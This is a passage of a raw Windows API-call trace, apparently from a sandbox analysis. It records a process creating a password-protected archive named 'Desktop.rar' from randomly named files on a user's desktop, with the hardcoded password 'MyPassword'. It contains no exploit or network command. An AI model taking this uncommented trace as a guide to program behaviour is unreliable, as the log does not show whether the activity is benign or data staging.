returned 1 [0059.655] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.657] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.657] GetTickCount () returned 0xa65459 [0059.657] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13499735238) returned 1 [0059.657] GetTickCount () returned 0xa65459 [0059.657] GetTickCount () returned 0xa65459 [0059.657] GetTickCount () returned 0xa65459 [0059.657] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.657] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.657] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.657] ResetEvent (hEvent=0x190) returned 1 [0059.657] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.658] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.658] ResetEvent (hEvent=0x190) returned 1 [0059.658] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.659] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.659] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.659] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.659] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x6efb9 [0059.659] SetFilePointer (in: hFile=0x198, lDistanceToMove=108, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x6f025 [0059.659] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.659] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.659] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.659] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.659] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x11600, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x11600, lpOverlapped=0x0) returned 1 [0059.663] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.663] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.663] SetFilePointer (in: hFile=0x198, lDistanceToMove=454585, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x6efb9 [0059.663] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x6efb9 [0059.663] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.663] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.663] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491f0, Size=0x48) returned 0x34e340 [0059.663] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.663] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.663] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491f0, Size=0x48) returned 0x34e390 [0059.663] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.663] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.663] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.663] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.663] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49220 | out: hHeap=0x290000) returned 1 [0059.663] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c491f0 | out: hHeap=0x290000) returned 1 [0059.663] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491c0, Size=0x48) returned 0x34e340 [0059.663] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.663] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x6c, lpOverlapped=0x0) returned 1 [0059.663] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491c0 [0059.663] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x6c) returned 0x299de40 [0059.663] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.663] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.663] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x80625 [0059.663] CloseHandle (hObject=0x1b0) returned 1 [0059.664] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.664] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.664] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.664] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.664] FindFirstFileW (in: lpFileName="f7MdNo-AKV0.mkv", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.664] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.664] CreateFileW (lpFileName="f7MdNo-AKV0.mkv" (normalized: "c:\\users\\whuoxysd\\desktop\\f7mdno-akv0.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.664] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.664] GetTickCount () returned 0xa65459 [0059.664] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.664] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.664] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.664] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.664] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="e-bHwq0LPy0uA9lpR0jp.jpg") returned 24 [0059.664] SetWindowTextW (hWnd=0x10216, lpString="f7MdNo-AKV0.mkv") returned 1 [0059.664] GetTickCount () returned 0xa65459 [0059.664] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.665] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.665] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.665] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.665] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x15a)) [0059.665] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.665] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13500545471) returned 1 [0059.665] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xbaa7, lpOverlapped=0x0) returned 1 [0059.666] ReadFile (in: hFile=0x1b0, lpBuffer=0x379bae7, nNumberOfBytesToRead=0xf4559, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379bae7*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.666] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.666] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.666] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.666] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.666] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49220, Size=0x48) returned 0x34e390 [0059.666] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.666] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.666] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49220, Size=0x48) returned 0x34e340 [0059.666] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.666] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.666] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.666] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.666] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49250 | out: hHeap=0x290000) returned 1 [0059.666] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49220 | out: hHeap=0x290000) returned 1 [0059.666] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491f0, Size=0x48) returned 0x34e390 [0059.666] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.666] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.666] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.667] GetTickCount () returned 0xa65459 [0059.668] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13500792808) returned 1 [0059.668] GetTickCount () returned 0xa65459 [0059.668] GetTickCount () returned 0xa65459 [0059.668] GetTickCount () returned 0xa65459 [0059.668] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.668] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.668] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.668] ResetEvent (hEvent=0x1a4) returned 1 [0059.668] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.670] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.670] ResetEvent (hEvent=0x1a4) returned 1 [0059.670] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.672] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.672] GetTickCount () returned 0xa65469 [0059.672] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13501208066) returned 1 [0059.672] GetTickCount () returned 0xa65469 [0059.672] GetTickCount () returned 0xa65469 [0059.672] GetTickCount () returned 0xa65469 [0059.672] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0059.672] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0059.672] GetFocus () returned 0x10232 [0059.672] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0059.672] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0059.672] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0059.672] GetFocus () returned 0x10232 [0059.672] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0059.672] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.672] ResetEvent (hEvent=0x190) returned 1 [0059.672] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.673] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.673] ResetEvent (hEvent=0x190) returned 1 [0059.673] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.674] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.674] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.674] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.674] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x80625 [0059.674] SetFilePointer (in: hFile=0x198, lDistanceToMove=99, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x80688 [0059.674] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0059.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.674] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0059.674] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0059.674] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0059.674] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xbb00, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xbb00, lpOverlapped=0x0) returned 1 [0059.675] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0059.675] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.675] SetFilePointer (in: hFile=0x198, lDistanceToMove=525861, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x80625 [0059.675] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x80625 [0059.675] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.675] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.675] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49220, Size=0x48) returned 0x34e340 [0059.675] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.675] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.675] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49220, Size=0x48) returned 0x34e390 [0059.675] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.675] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.675] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.675] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.675] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49250 | out: hHeap=0x290000) returned 1 [0059.675] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49220 | out: hHeap=0x290000) returned 1 [0059.675] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c491f0, Size=0x48) returned 0x34e340 [0059.675] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0059.675] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x63, lpOverlapped=0x0) returned 1 [0059.675] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c491f0 [0059.675] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x63) returned 0x3514b0 [0059.675] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.675] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.675] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x8c188 [0059.675] CloseHandle (hObject=0x1b0) returned 1 [0059.675] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.675] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.675] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.675] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.675] FindFirstFileW (in: lpFileName="Fj4kdfeguFEe8WDxBVP.png", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0059.676] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0059.676] CreateFileW (lpFileName="Fj4kdfeguFEe8WDxBVP.png" (normalized: "c:\\users\\whuoxysd\\desktop\\fj4kdfegufee8wdxbvp.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.676] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.676] GetTickCount () returned 0xa65469 [0059.676] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0059.676] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0059.676] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.676] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0059.676] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="f7MdNo-AKV0.mkv") returned 15 [0059.676] SetWindowTextW (hWnd=0x10216, lpString="Fj4kdfeguFEe8WDxBVP.png") returned 1 [0059.676] GetTickCount () returned 0xa65469 [0059.676] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0059.676] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0059.677] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0059.677] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0059.677] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x16a)) [0059.677] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0059.677] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13501718702) returned 1 [0059.677] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x5bc7, lpOverlapped=0x0) returned 1 [0059.677] ReadFile (in: hFile=0x1b0, lpBuffer=0x3795c07, nNumberOfBytesToRead=0xfa439, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3795c07*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0059.677] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49220 [0059.678] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.678] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49250, Size=0x48) returned 0x34e390 [0059.678] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0059.678] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.678] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49250, Size=0x48) returned 0x34e340 [0059.678] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0059.678] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0059.678] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49250 [0059.678] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49280 [0059.678] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49280 | out: hHeap=0x290000) returned 1 [0059.678] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49250 | out: hHeap=0x290000) returned 1 [0059.678] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49220, Size=0x48) returned 0x34e390 [0059.678] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0059.678] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0059.678] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0059.678] GetTickCount () returned 0xa65469 [0059.679] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13502069192) returned 1 [0059.680] GetTickCount () returned 0xa65469 [0059.680] GetTickCount () returned 0xa65469 [0059.680] GetTickCount () returned 0xa65469 [0059.680] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.680] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0059.680] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.681] ResetEvent (hEvent=0x1a4) returned 1 [0059.681] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.682] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.682] ResetEvent (hEvent=0x1a4) returned 1 [0059.682] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.683] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.683] GetTickCount () returned 0xa65469 [0059.683] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13502328086) returned 1 [0059.683] GetTickCount () returned 0xa65469 [0059.683] GetTickCount () returned 0xa65469 [0059.683] GetTickCount () returned 0xa65469 [0059.683] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.683] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0059.683] SetThreadExecutionState (esFlags=0x1) returned 